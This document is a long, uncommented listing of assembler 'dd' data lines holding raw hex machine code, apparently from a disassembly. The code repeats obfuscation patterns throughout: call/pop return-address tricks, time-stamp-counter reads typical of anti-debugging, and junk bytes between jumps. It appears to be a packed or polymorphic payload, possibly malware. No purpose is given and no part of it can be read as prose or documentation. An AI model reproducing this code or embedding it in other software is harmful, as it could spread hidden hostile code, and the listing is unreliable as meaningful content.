		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 68CB9446h, 0A04F9C4Fh, 1A59D29h, 6A0607h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1DC35040h, 0E998F548h
		dd 0Fh,	0ABACB5CCh, 0B12FE754h,	8D9C552Bh, 0FF78059Ch
		dd 71E3D95h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 630E6EA6h, 89B21A42h, 718DD8Dh, 0D58D8D06h
		dd 0E8060A93h, 0Eh, 38BA3E98h, 0B530C7B3h, 0B6B160A8h
		dd 9D8BEA63h, 6070F29h,	6AD1FF5Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2700C356h
		dd 18B59589h, 0BD830607h, 60719BDh, 74850F01h, 0F000000h
		dd 288h, 6AB2B300h, 50006A02h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 56B9852Ch, 309BD8Bh, 905B0607h
		dd 6050A4B3h, 61F98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0E9490A8Dh, 11h, 1C9C4EF8h
		dd 1961EADBh, 51652842h, 0FE220B24h, 9195FF4Ah,	0E9060707h
		dd 0D4Bh, 0E8h,	0ED815D00h, 60BEB2Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0CDC35343h,	0DB31BF66h, 0DAC78166h
		dd 3F858DA6h, 6A060A84h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 3A3FC350h, 0EE9D1h
		dd 22D0000h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh, 1EBBF50h
		dd 4894F7Fh, 919D8924h,	64060700h, 35FFh, 85090000h, 6070DFDh
		dd 258964h, 80000000h, 8D29D6CBh, 60711C9h, 2F5985FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 1C084FC3h, 0BF668A87h, 0FF6A90B4h, 11E9h
		dd 6190B600h, 43F29EC7h, 7E27A3FAh, 2E300A7h, 0B5FF4333h
		dd 6072D31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	84C35343h, 223E5005h, 0DEBFD873h, 0FF0CD0D8h, 72B8995h
		dd 13FE906h, 9E90000h, 0C7000000h, 798A748Bh, 0E130B43h
		dd 0BD8B00B0h, 60706C9h, 0BD8B70E6h, 6072C79h, 0DF98D89h
		dd 71E40607h, 3CF9B70Fh, 0E830F61h, 89000001h, 720519Dh
		dd 0C8B60F06h, 6BAh, 0B9666000h, 8F0F27B0h, 6, 860Fh, 8B610000h
		dd 0F88B60C1h, 71C08166h, 0E8C16122h, 0BE904h, 0A62F0000h
		dd 81D3862Fh, 3671BBD5h, 0E2F7661Ch, 0AB1BD33h,	0C82B0607h
		dd 0C5DBD89h, 0D18B0607h, 68C0Fh, 0BD010000h, 60721A1h
		dd 0ACE9h, 38DB8000h, 4C44858Bh, 9D0B5F4Ch, 6071005h, 8307C083h
		dd 10E800C0h, 3A000000h, 20D1A785h, 0AE6B6D99h,	0C5AE8610h
		dd 891538FCh, 7131195h,	0D03B5B06h, 0E830Fh, 8B660000h
		dd 6BE9F9h, 9D8B0000h, 6070B65h, 0FFFF8D8Bh, 7E9FFFFh
		dd 0BC000000h, 360C10D4h, 870F2281h, 6,	6E98529h, 0E1830607h
		dd 3E840F01h, 83000000h, 0FFFFFFA5h, 8589FEFFh,	6070CC5h
		dd 4C449589h, 12E85F4Ch, 0F4000000h, 7F463877h,	0F41F6E79h
		dd 57648579h, 0AEFBC577h, 0BD8B6020h, 60727F5h,	12699D29h
		dd 5B610607h, 0E9h, 0FEB58D00h,	8B060B6Ch, 713C1BDh, 0B3006A06h
		dd 6995FFCCh, 6A06070Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0DB56C352h,	0B94615F4h
		dd 0EB8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	7AC35646h, 281FF282h, 83C463B8h, 8531FCE1h, 6072095h
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0C75829BEh, 0B8DFh, 7E90000h, 0D6000000h
		dd 0AB3CF8FAh, 0D22B1944h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0D4C35141h, 0C233AD0Fh, 0D003E8D1h, 7504E983h
		dd 31B529F4h, 8B060728h, 711A99Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 4EF80CD2h
		dd 0DA8B1C9Ch, 880Dh, 0BDBD0300h, 8B060705h, 71AD995h
		dd 0AE906h, 75880000h, 882A3617h, 0AA02F8A0h, 101D8D8Bh
		dd 0B5890607h, 60720BDh, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0B5895818h, 6072291h, 0D38104B3h,	28D1ACABh
		dd 8D0F60h, 8B000000h, 7234985h, 0BD836106h, 6070E29h
		dd 21840F00h, 29000000h, 711E59Dh, 0B806h, 0BD030000h
		dd 6071881h, 4B9B8D8Dh,	4CB30607h, 0BD89E1FFh, 60701EDh
		dd 3305BD83h, 0F000607h, 45684h, 83FC8A00h, 73305BDh, 840F0106h
		dd 462h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 16h,	0AAC35040h, 0BD8348D9h,	6073305h, 1860F03h, 8B000004h
		dd 71911BDh, 0B5015106h, 60706ADh, 6A605Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 40BF68C3h
		dd 4A2144F3h, 0D98C66EDh, 0E1B52B60h, 0E8060713h, 6, 7985EC36h
		dd 5E538A14h, 0E180615Ah, 26BF6604h, 0FC90AB8h,	14584h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 51BD891Fh, 8B060726h, 72A1D85h, 0ED9D0B06h
		dd 33060732h, 71AFD85h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8923DB03h, 7064D9Dh, 66579006h
		dd 5F4824BBh, 2890F50h,	8A000000h, 575090DDh, 819B589h
		dd 5F5B0607h, 0B1BD0357h, 5F060713h, 22B3006Ah,	19519509h
		dd 4A680607h, 0E886252Eh, 0Dh, 0BB8AEE0Ch, 23ED56FCh, 3B1F7B92h
		dd 0F525042h, 4CB2BF31h, 585A41F8h, 2404815Fh, 79F9D5B5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 19C35141h
		dd 0EDDE2359h, 0E652F1Bh, 6820Fh, 0BD2B0000h, 60703E9h
		dd 8B66DE8Ah, 0F995FFD9h, 0F060709h, 2085h, 14E800h, 0F880000h
		dd 6599A8A4h, 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 820F3D36h
		dd 0
		dd 0DF85895Bh, 89060AADh, 722D98Dh, 224E906h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0E09FA3C3h, 0C65BD33h, 858B0607h, 60AADD7h, 0CE8h, 59330000h
		dd 0E1B1C535h, 530B03E0h, 0D1BD0327h, 5B06071Ah, 1800C7h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0C3386AC3h, 3F52A4A9h, 0DBB58B7Ch, 0F060AADh
		dd 887h, 0EB815700h, 677C654Bh,	0CD858B5Bh, 6A06072Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0FC40C350h, 816650E5h, 5F2E1BCBh,	6A0689h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 48E2BC3h, 2A1D858Bh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 7A4372C3h, 0FF9E2AF4h
		dd 976641Eh, 722D195h, 0A5BD0306h, 89060723h, 8D010446h
		dd 6071F9Dh, 50DE8B96h,	6696D98Bh, 0FF8D3DBFh, 0AADD7B5h
		dd 699D8B06h, 0E8060703h, 4, 1F03FFh, 14E860h, 1FB00000h
		dd 57496BC6h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh,	6160F147h
		dd 9A4FB859h, 506141BDh, 310F5250h, 5AF88B66h, 24448B58h
		dd 0E9008B04h, 9, 5F12DCABh, 254BCE60h,	24448909h, 0BF525004h
		dd 7F7926Eh, 6660310Fh,	5A61DE8Bh, 6A5858h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B2374C3h
		dd 0CE9h, 0FBA3EE00h, 80DBC2DCh, 0F47B71E6h, 38C0F75h
		dd 0F000000h, 858DFAB7h, 60AADDFh, 0BE8h, 0AB183E00h, 6408C90h
		dd 0D0D7C928h, 114D9D8Bh, 905F0607h, 0FA8B5250h, 8B66310Fh
		dd 50585ADEh, 5690D98Bh, 0DD19D03h, 0FF5B0607h,	709F995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 567D1CBEh, 0B11ADB6Ch, 659D0953h, 5F060705h
		dd 9122C781h, 0F6173A0h, 481h, 9BBB6600h, 1858961h, 0C7060707h
		dd 7330585h, 306h, 0A9BD8B00h, 8306070Ah, 0AADDFBDh, 840F0006h
		dd 34h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 9CC35646h, 0A4533AB1h, 2911992Ch, 70685BDh, 21E906h
		dd 0B5890000h, 60704B1h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 49C7C357h, 0DA8B662Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 97C35545h
		dd 0F3801222h, 319D898Fh, 83060707h, 73305BDh, 850F0306h
		dd 456h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0C1C35545h, 0DFBD8333h,	60AADh,	42C840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89B2C7C3h, 7283DB5h,	0DFB5FF06h, 6A060AADh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 8040C356h, 5810F95h,	66000000h, 8F77CB81h, 212995FFh
		dd 0BD010607h, 6072C61h, 0B7DB529h, 0B58B0607h,	60AADD3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h
		dd 8654FC81h, 1B4108FAh, 106C7F9h, 80000100h, 5050BCD7h
		dd 0EE852h, 0CA930000h,	36C690C5h, 6764958Bh, 8D3CDA0Eh
		dd 4494BF66h, 60310F5Fh, 5B0DBA66h, 89585A61h, 6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 8774C6C3h, 0AB67F792h, 12F9BD89h, 12B70607h,	0ADDFB5FFh
		dd 830F060Ah, 6, 11E5BD03h, 8D890607h, 6071DA5h, 25195FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 2BAF58C3h, 71F259Dh, 0D3B58B06h, 6A060AADh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 2FEEC350h, 5DBD23h, 12E90607h, 0BF000000h
		dd 8FD489FFh, 64068461h, 9ABBE8DEh, 1850440h, 0A1858B45h
		dd 66060712h, 0D965E381h, 0C48689h, 9D290000h, 6071019h
		dd 296DBD8Bh, 958B0607h, 6071AD9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 9FC35141h, 60FBBF0Fh, 81BD8B60h
		dd 0F06072Dh, 0F61D0BFh, 8361F3BFh, 0BD8B04C2h,	60719B9h
		dd 0EA5ABB66h, 6A205089h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 7F49C350h, 3EEB702h
		dd 787820BFh, 70858D0Bh, 6A060AC1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 874DC355h
		dd 6E8h, 0DB640900h, 0E9F04AD2h, 14h, 818377A5h, 7AA451E5h
		dd 7808FBAFh, 0F415B268h, 827294FFh, 0B886895Fh, 0E8000000h
		dd 11h,	5C0D3FA9h, 0DF7E0FE2h, 0ADC1230Ah, 0A458C0FCh
		dd 6C14BB53h, 895F736Dh, 72F0D9Dh, 66006A06h, 0FF7AC6BFh
		dd 0AADDFB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 45C10BD9h, 8779D693h, 0A3E8DF81h
		dd 95FF4883h, 6070791h,	9614CB80h, 6050FE8Bh, 6E8CB8Bh
		dd 77000000h, 0F8AA31FFh, 0EE9CCh, 68C30000h, 5B165B57h
		dd 977028C7h, 0C63E0C98h, 0E996615Ah, 0Ch, 8CD25DD4h, 4E1C018Ah
		dd 0FF59CD98h, 0ADDFB5FFh, 8589060Ah, 6071DDDh,	2D0995FFh
		dd 0B5290607h, 6070BEDh, 1EDDB589h, 0BD830607h,	60714C1h
		dd 34840F00h, 89000000h, 722BD8Dh, 0D88A5006h, 6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 5467C350h, 4E331F03h, 0CD9D8BA5h,	0FF060725h
		dd 0AADDFB5h, 95FFF906h, 6071F95h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 86C35040h, 0C8B1BAC1h, 0DFB5FF88h
		dd 6A060AADh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0B814C356h, 0FE0CD82Fh, 0EFA4240Ch
		dd 2C195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0C107C7C3h, 0BD83BAA9h, 6072865h
		dd 3F840F02h, 8B000000h, 70E6985h, 68ACBB06h, 0C65E14h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 2845F40Bh, 0F6ADF1Eh, 984h, 3870F00h, 0F000000h
		dd 85C7FBBFh, 6072A51h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 5AC35242h
		dd 0ABE971C7h, 6AFFFFF3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0F760C352h,	3FCB81A5h
		dd 0F625D6Bh, 682h, 0A99D8B00h,	8B060708h, 25B589C1h, 8D060710h
		dd 718B185h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0C9817FDEh, 8D895DEEh, 6072ACDh
		dd 5090D88Bh, 55BF6652h, 66310F25h, 5A1177BFh, 6E85058h
		dd 6000000h, 0E3D5397Fh, 5FE6B341h, 558D8990h, 6A06070Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F92DD0C1h, 0AE8h, 598B1A00h, 58A516DDh
		dd 0F578C253h, 85D7805Bh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 84B322C3h, 0FAA3858Dh
		dd 8953060Bh, 72285B5h,	0C0835F06h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 3408579Fh
		dd 9D85017Eh, 90060713h, 0BE960h, 0C5C90000h, 3F75201Dh
		dd 0F2B6AE79h, 9050612Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8B570AC3h, 712119Dh
		dd 0D88A5F06h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A5E1DCC3h, 0AD4FDFE9h, 0FFFA8B66h
		dd 71E3D95h, 870F6006h,	0
		dd 1FDD9D89h, 8D610607h, 0A93D58Dh, 6850F06h, 89000000h
		dd 70FD59Dh, 6AD1FF06h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0F77DC350h,	0BD8B3A18h
		dd 6072AD9h, 26459D8Bh,	0BD830607h, 60719BDh, 8B850F01h
		dd 0F000000h, 1782h, 9E86000h, 0E8000000h, 4FCE1C81h, 0B5419A22h
		dd 830F59h, 61000000h, 0E960026Ah, 10h,	0E8A65E18h, 1AF1F513h
		dd 8506D78Fh, 0BB096EFBh, 506119B2h, 4895B52h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 991B0731h, 667D61A6h, 8EB0DB81h, 79195FFh, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 538E00C3h, 6BE9F88Bh, 0E800000Dh, 0
		dd 0ADED815Dh, 51060BFAh, 0E5B5BB66h, 91BD8B5Bh, 8D06070Fh
		dd 0A843F85h, 65858906h, 90060723h, 50DE8B66h, 8988E2BFh
		dd 6A907Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 58C6FAC3h, 171D12BAh, 2365BD8Bh, 81660607h
		dd 6426E6CBh, 35FFh, 64FC0000h,	2589h, 9D8B0000h, 6071519h
		dd 2F5985FFh, 0BE90607h, 3D000000h, 176D8D1Fh, 29582B5Eh
		dd 0FF6A1AE2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	3CC35747h, 8C63404Fh, 79F76425h, 0C22BCF81h, 0DB815867h
		dd 705F4AF8h, 469B5FFh,	0BF0F0607h, 8995FFD9h, 0E906072Bh
		dd 148h, 4DB7BA60h, 0BB663168h,	0B061D640h, 2B70E600h
		dd 72D059Dh, 0F71E406h,	58Ah, 0CB816600h, 613C6E8Dh, 11E830Fh
		dd 5E90000h, 54000000h,	2B31AEFAh, 0FC8B60Fh, 0E8Ah, 858B6000h
		dd 6070A7Dh, 129D8D23h,	8B610607h, 700299Dh, 6BA06h, 0B70F0000h
		dd 0D9BF0FDEh, 9D29C18Bh, 6070EDDh, 0E904E8C1h,	12h, 0E10109E4h
		dd 0B43F5A50h, 28F816A6h, 2FEAE15Bh, 9501213Ah,	6072031h
		dd 1E2F766h, 71E619Dh, 0D9BF0F06h, 8B66C82Bh, 0FD18BFEh
		dd 84h,	6800F00h, 81000000h, 0A262C0F7h, 9AE961h, 9D8B0000h
		dd 60725CDh, 4C50858Bh,	8C0F4755h, 3, 83F9BF0Fh, 816607C0h
		dd 83C8E4EFh, 0BD8B00C0h, 60725CDh, 5A1CD781h, 0D03B1F49h
		dd 10830Fh, 81660000h, 0E9F337EFh, 5Ch,	1F6DBD8Bh, 8D8B0607h
		dd 0FFFFFFFFh, 14E9h, 0DD6E4700h, 0F706A9C5h, 1D90C27Bh
		dd 98F5481Dh, 66FE26DAh, 1E18321h, 2E840Fh, 5AB70000h
		dd 0FFFFA583h, 8BFEFFFFh, 509589FEh, 6047554Ch,	6820Fh
		dd 0E2810000h, 7CDD8FA4h, 5E9h,	6E406400h, 0E961F380h
		dd 0
		dd 7BB6B58Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 8C6E94C3h, 8BF40AC6h, 72D819Dh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0ECADC351h, 95FFC62Ah,	6070D69h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 34C35040h
		dd 7F681BD8h, 6810Fh, 0B5890000h, 6072211h, 10D8B9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0DA8BED8Eh, 0E911ABD7h, 10h,	503F560Eh, 0D4675A68h
		dd 8A8CD25Dh, 984E1C01h, 6AFCE183h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B50BC357h
		dd 22AD9D8Bh, 0FFC0607h, 0B8FEBFh, 8B000000h, 702B5BDh
		dd 66D22B06h, 0AD7658BBh, 0E8D1C233h, 0E983D003h, 8BF47504h
		dd 71F159Dh, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 13E9051Fh, 40000000h, 0EAC15688h
		dd 0ED08F60Fh, 74DBD695h, 0B6057ADAh, 880DDD9Fh, 89000000h
		dd 71EB58Dh, 0D9958B06h, 6006071Ah, 28FDBD89h, 0ACBA0607h
		dd 614F8190h, 101D8D8Bh, 0BF660607h, 8B508D9Dh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 6A6DC380h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 47FCC356h, 0FF728BC5h, 83CE0582h, 70E29BDh, 840F0006h
		dd 70h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 77C35545h, 0F9005C4Bh, 6820F60h, 0F000000h, 88h, 0B861FC00h
		dd 0
		dd 52FB8B66h, 2B79BD2Bh, 8D5B0607h, 74B9B8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4993E6B2h, 8D0FE1FFh, 4, 5B616056h, 3305BD83h, 0F000607h
		dd 3E984h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0C4BF4CCEh, 0AF8C0D6Fh, 870F10BDh
		dd 5, 0FFD78057h, 5BD835Bh, 1060733h, 3C7840Fh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 127CD8C3h, 5A203C3Fh, 8DBD292Fh, 8306070Eh, 73305BDh
		dd 860F0306h, 35Bh, 2C59D8Bh, 31600607h, 720218Dh, 68C0F06h
		dd 8B000000h, 71AC9BDh,	0D98C6606h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8BC35747h, 0FADC1301h, 0E180E566h
		dd 0DA8B6604h, 2A599D8Bh, 0C90A0607h, 99840Fh, 0BF660000h
		dd 858B1FFDh, 6072A1Dh,	1AFD8533h, 0BF0F0607h, 48950F9h
		dd 0F98B6624h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 5B2CFEC3h, 3B01E315h, 0A60ABB66h
		dd 68C0Fh, 9D8B0000h, 6071165h,	24D99F68h, 0DA8B66F2h
		dd 60240481h, 890DFA2Ah, 725FD85h, 0F995FF06h, 89060709h
		dd 719219Dh, 0DF858906h, 0E8060AADh, 0Ch, 0C1ABA71Fh, 274D91E5h
		dd 0EBD57178h, 22A99531h, 0E95B0607h, 1D9h, 0A1F0CF81h
		dd 8BF547DAh, 0AADD785h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 4243BA0Bh, 359D8B3Ah
		dd 0C7060722h, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0CEE51CC6h, 0E2F02B76h
		dd 13EB81DBh, 8B1F6FD3h, 0AADDBB5h, 95896006h, 6070569h
		dd 0DE9h, 0A309E600h, 52F717BCh, 3C52BB60h, 0F612045h
		dd 858BDABFh, 6072BCDh,	8B660689h, 0EE9FAh, 2ABD0000h
		dd 195A324Dh, 44025A95h, 2E7C34D6h, 2A1D858Bh, 89FC0607h
		dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 20ADBDC3h, 0D991D965h, 0EF79EF81h, 0EE91522h
		dd 56000000h, 0F34A67F0h, 3CD26DB6h, 0A5CE12C5h, 0BF50F8C0h
		dd 76AAFF7Bh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 44E3C356h, 0D7B5FF91h
		dd 8B060AADh, 722CD9Dh,	0D1BD8B06h, 6806071Fh, 52670461h
		dd 81F98B66h, 79E2434h,	6A5278h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 47C55BC3h, 0BF668EB4h
		dd 858D5444h, 60AADDFh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0C35040h, 8B603F70h, 703ADBDh, 0B58B6006h
		dd 6072A41h, 6161D38Bh,	11E890h, 22860000h, 0FF28EC2Bh
		dd 9E8770B8h, 16E28D32h, 5B167D5Ch, 0FB8B6650h,	0FFDD8A90h
		dd 709F995h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0AE7ABDE9h, 7C8214B1h, 0B70F567Ch
		dd 9E961DFh, 54000000h,	0EA1002EEh, 85781BC8h, 330585C7h
		dd 30607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 145DCEC3h, 0EF59D8Bh, 0BD830607h
		dd 60AADDFh, 54840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9856C355h
		dd 8B94F381h, 8E0F4936h, 6, 0AB1B501h, 3BE90607h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 4508C356h, 50FA8BE4h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0B81F42C3h
		dd 8D89A010h, 607091Dh,	6880Fh,	0BD890000h, 60705B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9C35343h, 0E6A0B61Ch
		dd 6810F11h, 8B000000h,	73029BDh, 5BD8306h, 3060733h, 47B850Fh
		dd 85890000h, 60702C5h,	0ADF5BF66h, 0ADDFBD83h,	0F00060Ah
		dd 46484h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0DFEB816Ah, 0FF54B751h, 0AADDFB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 8D895680h, 0CA163827h, 212995FFh, 0B58B0607h
		dd 60AADD3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0B8C35646h, 846F05EDh, 0BDDA4904h, 11FD9589h, 6C70607h
		dd 10001h, 8B50DA8Bh, 243489D8h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 9CC35343h, 4DAD58DFh, 29181CEBh
		dd 0B70F50A2h, 0B5FF5BD9h, 60AADDFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0A4C35343h,	0D1F4377Fh, 0BD8B0F77h
		dd 6070AD5h, 9199D8Bh, 95FF0607h, 6070251h, 8BFB8B66h
		dd 0AADD3B5h, 599D2906h, 80060711h, 858B19DFh, 60712A1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E7C35747h
		dd 0D98B66F2h, 0C48689h, 95890000h, 6070C79h, 1AD9958Bh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 5D56ECC3h, 837F286Ch, 6A04C2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DE9B3C3h
		dd 13000000h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 6A205089h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0CF6FC357h, 0D02B16EBh, 8DD1AB17h, 0AC17085h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0F761A067h, 8BE18A6Ch, 8976B77Eh, 0B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 69E82CE5h, 6A006ACAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8921C352h
		dd 725B1B5h, 0C7816606h, 0B5FF61F3h, 60AADDFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A0C35343h, 7CBE9585h
		dd 9195FF18h, 6A060707h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F76EC355h,	4DB61353h
		dd 0F7C00186h, 8EE78166h, 5250961Dh, 8B66310Fh,	50585AF8h
